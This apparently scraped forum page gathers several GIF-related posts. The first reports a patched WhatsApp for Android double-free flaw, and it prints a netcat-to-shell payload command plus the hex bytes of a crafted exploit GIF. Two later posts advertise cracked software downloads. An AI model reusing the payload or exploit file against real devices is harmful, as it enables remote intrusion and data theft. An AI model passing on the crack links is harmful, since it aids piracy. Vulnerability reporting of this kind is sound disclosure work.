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  1. Researcher discovered a double-free vulnerability in WhatsApp for Android that could be exploited by remote attackers to execute arbitrary code on the vulnerable device. A security researcher that goes online with the moniker Awakened discovered a double-free vulnerability in WhatsApp for Android and demonstrated how to leverage on it to remotely execute arbitrary code on the target device. The expert reported the issue to Facebook that acknowledged and addressed the flaw with the release of WhatsApp version 2.19.244. The expert discovered that the flaw resides in the DDGifSlurp in decoding.c in libpl_droidsonroids_gif .so library used to generate the preview of the GIF file when a user opens Gallery view in the popular messaging application to send a media file, “When the WhatsApp Gallery is opened, the said GIF file triggers the double-free bug on rasterBits buffer with size sizeof(GifInfo). Interestingly, in WhatsApp Gallery, a GIF file is parsed twice. When the said GIF file is parsed again, another GifInfo object is created.” reads a technical analysis published by the expert. “Because of the double-free behavior in Android, GifInfo info object and info->rasterBits will point to the same address. DDGifSlurp() will then decode the first frame to info->rasterBits buffer, thus overwriting info and its rewindFunction(), which is called right at the end of DDGifSlurp() function.” The expert was able to craft a GIF file to control the PC register, then he successfully achieved remote code execution by executing the following command: system("toybox nc 4444 | sh"); The expert highlighted that it was not possible to point to system() function in libc.so, instead, it was necessary to first let PC jumps to an intermediate gadget. “we need an information disclosure vulnerability that gives us the base address of libc.so and libhwui.so. That vulnerability is not in the scope of this blogpost.” continues the expert. ” Note that the address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability.” The expert developed the code that was able to generate a corrupted GIF file that could exploit the vulnerability. [email protected]:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c ..... ..... ..... [email protected]:~/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B Then he copied the content into a GIF file and send it as Document with WhatsApp to another WhatsApp user. The researcher explained that the crafted GIF file could not be sent as a Media file, because WhatsApp attempts to convert it into an MP4 before to send it. The vulnerability will be triggered when the target user that has received the malicous GIF file will open WhatsApp Gallery to send a media file to his friend. Below the attack vectors devised by the expert: Local privilege escaltion (from a user app to WhatsApp): A malicious app is installed on the Android device. The app collects addresses of zygote libraries and generates a malicious GIF file that results in code execution in WhatsApp context. This allows the malware app to steal files in WhatsApp sandbox including message database. Remote code execution: Pairing with an application that has an remote memory information disclosure vulnerability (e.g. browser), the attacker can collect the addresses of zygote libraries and craft a malicious GIF file to send it to the user via WhatsApp (must be as an attachment, not as an image through Gallery Picker). When the user opens the Gallery view in WhatsApp, the GIF file will trigger a remote shell in WhatsApp context. The exploit works for WhatsApp version 2.19.230 and prior versions, the company addressed it with the release of the version 2.19.244 The exploit works for Android 8.1 and 9.0, but the expert explained that it does not work for Android 8.0 and below. “In the older Android versions, double-free could still be triggered. However, because of the calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register.” concludes the expert. Pierluigi Paganini SecurityAffairs – WhatsApp, hacking) Source: Security Affairs
  2. Pequi

    LICEcap 1.28

    Tiny, simple to use, and won't give you a headache to "register" like Honeycam. Not many options, but you can pause, loop, capture mouse movement and it produces very small GIFs. A good choice for software tutorials. https://www.cockos.com/licecap/ Changelog: LICEcap v1.28 for Windows (updated 12/2/17) (230kb installer) LICEcap v1.28 for OSX (12/2/17) (730kb DMG) New icon LCF: fix crash when error opening output file gif: use WDL_FileWrite to write to disk rather than fopen()/_wfopen(), lock files while writing Various WDL updates (should have improved performance on macOS) Source code: https://github.com/justinfrankel/licecap
  3. An application especially created for both amateur and professional photographers and videographers who want to create time-lapse videos Time-Lapse Tool is an application that you can use to create a time-lapse from a sequence of photos located on your computer. Using this tool, the process is a simple as it can be. To create a time-lapse all you need to do is load your photos into the application, set the framerate along with other settings and you’re ready to export the movie. The interface is very well designed, granting you quick access to all its features for an efficient workflow. With Time-Lapse Tool you can export the videos at various resolutions in formats such as Apple TV, H262, Windows Media Play 8, MPEG 4 and Motion JPEG. The different export resolutions and aspect ratios that the application provides you makes it very practical for when you need to display the movies on specific devices. Time-Lapse Tool uses exif data from the images found in a selected folder and is able to automatically group them into sets of photos from which you can create the time-lapse. This is a very practical feature because a timelapse is often composed out of hundreds if not thousands of photos and you don’t want to pick each one. Homepage:http://timelapsetool.com Download setup+crack from URET TEAM: Site: https://yadi.sk Sharecode[?]: /d/u2A2qJHZ3NymAK
  4. We may soon see GIFs in comments Facebook is finally embracing the GIF, after many years of resisting the change. According to TechCrunch, Facebook will begin testing a GIF button that allows users to post GIFs from services such as Giphy or Tenor as comments. "Everyone loves a good GIF, and we know that people want to be able to use them in comments. SO we're about to start testing the ability to add GIFs to comments, and we'll share more when we can, but for now we repeat that this is just a test," Facebook said in a statement. As per usual with any Facebook tests, the new feature will only be available to a small group of Facebook users, but it has the potential to roll out to everyone if it proves popular. Taking into consideration the high usage of GIFs on other platforms, it's pretty much certain that we'll all see this feature in our news feeds soon. Borrowing from Messenger The feature will apparently work similarly to the GIF button you can find in Facebook Messenger, allowing users to browse trending animations, or to search for specific reactions. While sharing GIFs as News Feed posts won't be possible, you will be able to comment on other people's posts with them. For many years now, Facebook has shied away from fully embracing GIFs, mostly out of "fear" that it would distract users from the News Feed and what it is supposed to be at the core - a way to connect to your friends and to find out the latest things they are interested in. Then again, this was a valid concern back before the News Feed became inundated with auto-play videos that are just as flashy and distracting, and even more annoying than the GIFs. While some changes have been made to permit GIFs, namely to share them with direct URLs, this is the first time sharing them will be made easy. Source
  5. selesn777

    Screen GIF 1.4 + Portable

    Screen GIF 1.4 + Portable Screen GIF - this program allows you to capture GIF images directly from your screen. Anything which occur in your screen can be easly captured by Screen GIF and then saved it directly as a GIF animated image. All in an extremelly easy to use program interface really simple and powerful.Screen GIF works with Windows 7 and Windows 8. Windows is a registered trademark of Microsoft Corporation in the United States and other countries. Screen GIF main features Website: http://screengif.com/ OS: Windows 7 / 8 Language: Eng / Esp Medicine: Crack Size: 3,36 / 3,86 Mb.
  6. ThunderSoft Video to GIF Converter 1.3.1 + Portable ThunderSoft Video to GIF Converter is a handy tool for making animated gif from video files. Preview original video frame by frame, easy crop and specify video clip, convert to gif with high quality. It allows setting gif play speed, replay times and also resizing. The input file supports various popular video formats, such as mp4, avi, mpg, wmv, flv, mov, vob, mkv, rmvb, etc. The software interface is very user-friendly and easy-to-use. Feature List Preview original video frame by frame.Easy crop and specify video clip accurately.Allow delete unwanted frames.Allow Change gif play speed, replay times.Supports almost all popular video formats, such as mp4, avi, mpg, wmv, flv, mov, vob, mkv, rmvb, etc.Preview output file after conversion.Homepage: http://www.thundershare.net OS: 2000 / 2003 / XP / Vista / 7 / 8 Language: Eng / Rus Size: 30,30 MB
  7. By Zulko •Jan 23rd, 2014 Sometimes producing a good animated GIF requires a few advanced tweaks, for which scripting can help. So I added a GIF export feature to MoviePy, a Python package originally written for video editing. For this demo we will make a few GIFs out of this trailer: Converting a video excerpt into a GIF In what follows we import MoviePy, we open the video file, we select the part between 1’22.65 (1 minute 22.65 seconds) and 1’23.2, reduce its size (to 30% of the original) and save it as a GIF: Cropping the image For my next GIF I will only keep the center of the screen. If you intend to use MoviePy, note that you can preview a clip with clip.preview(). During the preview clicking on a pixel will print its position, which is convenient for cropping with precision. Freezing a region Many GIF makers like to freeze some parts of the GIF to reduce the file size and/or focus the attention on one part of the animation. In the next GIF we freeze the left part of the clip. To do so we take a snapshot of the clip at t=0.2 seconds, we crop this snapshot to only keep the left half, then we make a composite clip which superimposes the cropped snapshot on the original clip: Freezing a more complicated region This time we will apply a custom mask to the snapshot to specify where it will be transparent (and let the animated part appear) . Time-symetrization Surely you have noticed that in the previous GIFs, the end did not always look like the beginning. As a consequence, you could see a disruption every time the animation was restarted. A way to avoid this is to time-symetrize the clip, i.e. to make the clip play once forwards, then once backwards. This way the end of the clip really is the beginning of the clip. This creates a GIF that can loop fluidly, without a real beginning or end. Ok, this might be a bad example of time symetrization,it makes the snow flakes go upwards in the second half of the animation. Adding some text In the next GIF there will be a text clip superimposed on the video clip. Making the gif loopable The following GIF features a lot of snow falling. Therefore it cannot be made loopable using time-symetrization (or you will snow floating upwards !). So we will make this animation loopable by having the beginning of the animation appear progressively (fade in) just before the end of the clip. The montage here is a little complicated, I cannot explain it better than with this picture: Another example of a GIF made loopable The next clip (from the movie Charade) was almost loopable: you can see Carry Grant smiling, then making a funny face, then coming back to normal. The problem is that at the end of the excerpt Cary is not exactly in the same position, and he is not smiling as he was at the beginning. To correct this, we take a snapshot of the first frame and we make it appear progressively at the end. This seems to do the trick. Big finish: removing the background Let us dive further into the scripting madness: we consider this video around 2’16: http://www.youtube.com/watch?v=_wZjCDXDNLI And we will remove the background to make this gif (with transparent background): The main difficulty was to find what the background of the scene is. To do so, the script gathers a few images in which the little pigs are are different positions (so that every part part of the background is visible on at least several (actually most) of the slides, then it takes the pixel-per-pixel median of these pictures, which gives the background. Source
  8. Prashant Prabhu On 7th February, 2014 Tired of animated GIF images that take forever to load? Check out these Firefox addons, which make the wait bearable. Or, if you’ve spotted a video that could be the next viral GIF on the Web, read on for an addon that lets you convert HTML5 videos to GIFs. We’ve got alternatives for Google Chrome, too GIF Delayer A GIF that hasn’t finished downloading often starts from the beginning and keeps playing in loop. GIF Delayer helps you avoid these headache-inducing short loops by hiding the image until it has been downloaded completely. Once you install the addon, there will be blank spaces where GIFs be – until they load. The extension isn’t perfect: a frame or a “loading” symbol would improve things, because you’d know where the GIFs are going to be. It also may not work well if you have a slow Internet connection (less than 1 Mbps). When I opened multiple GIF images on a slow connection, a couple failed to download outright. I did not face this issue when I opened one GIF at a time, or when I switched to a faster connection. The extension also doesn’t work in private browsing mode. Still, if unfinished GIFs really bother you, this extension is great. You can also get GIF Delayer for Chrome. Toggle Animated GIFs If GIF Delayer’s limitations are a deal-breaker for you, Toggle Animated GIFs is a simple, yet effective, alternative. Just press ctrl+M (or shift+M) to pause all GIFs on any webpage. When the page has finished loading, hit the same keys again to play the GIFs. The above is enabled by default – the addon also allows you to pause all GIFs by default, then toggle play/pause with just a click. An alternative to this is ESCapeFromThemGIFs, which lets you pause or resume GIFs by hitting the Esc key. However, the Esc key also stops pages from loading in Firefox, so it might cause problems. Chrome users can instead check out Stop Animations. MakeGIF Video Capture This addon converts HTML5 videos from any website to GIF images. All you have to do is right-click on the background (any blank space will do) and click “Convert To GIF”. A prompt will appear on the top-right of the browser to let you select the quality of the GIF, number of frames, etc. Once that is done, hit start. I created a 200-frame GIF from a YouTube video in 15 seconds. You can save the GIF to your computer or upload it to MakeGIF.com (4 MB upload limit) if you want to share it. Non-Firefox fans should check out MakeGIF Video Capture for Chrome. Or, if you don’t mind leaving the browser window to create GIF images, check out this Photoshop CS5 tutorial to make animated GIFs, or use GifCam, the easiest way to create animated GIFs. Which addons or apps do you use to create or manage GIF images? Leave a comment so others can find out. Source Title has been modified as Chrome is also covered in.
  9. Giveaway Product: WonderFox SWF to GIF Converter + SmartPixel Video Editor Original Price: SWF to GIF – $19.90/CopySmartPixel Video Editor –$15.90/Yearly CopyGiveaway Amount: SWF to GIF – Unlimited, SmartPixel Video Editor – 70 Copies Giveaway Period: 2013.1.8 – 2013.1.14 Giveaway Page: http://www.videoconverterfactory.com/swf-to-gif-converter/ Product Introduction: WonderFox SWF to GIF Converter is a fun and handy to transform SWF videos into GIF animations. With this software, you just need few clicks to complete the converting process. You can also capture any frame and save it to all popular image formats such as GIF JPG, BMP, PNG, TGA, etc. As for Smartpixel, it is the best free screen capture software and easy video editing software. Its powerful screen capturing and video editing tools could help people easily make professional tutorial videos, game videos, webcam videos and home videos in 1080P HD quality to upload to YouTube.
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